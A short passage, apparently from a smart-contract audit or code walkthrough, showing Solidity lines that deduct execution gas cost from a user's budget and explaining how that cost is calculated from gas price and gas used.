uint256 budget = executionBudget[_from];
require(budget > totalCost, "no enough budget");
executionBudget[_from] = budget - totalCost;
(1) Gas Calculation:
To calculate how much the user has to pay, the following formula is used:
//Get Branch Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);
Gas units are calculated as follows:
- Store
gasleft()
atinitialGas
at the beginning ofanyExecute
method: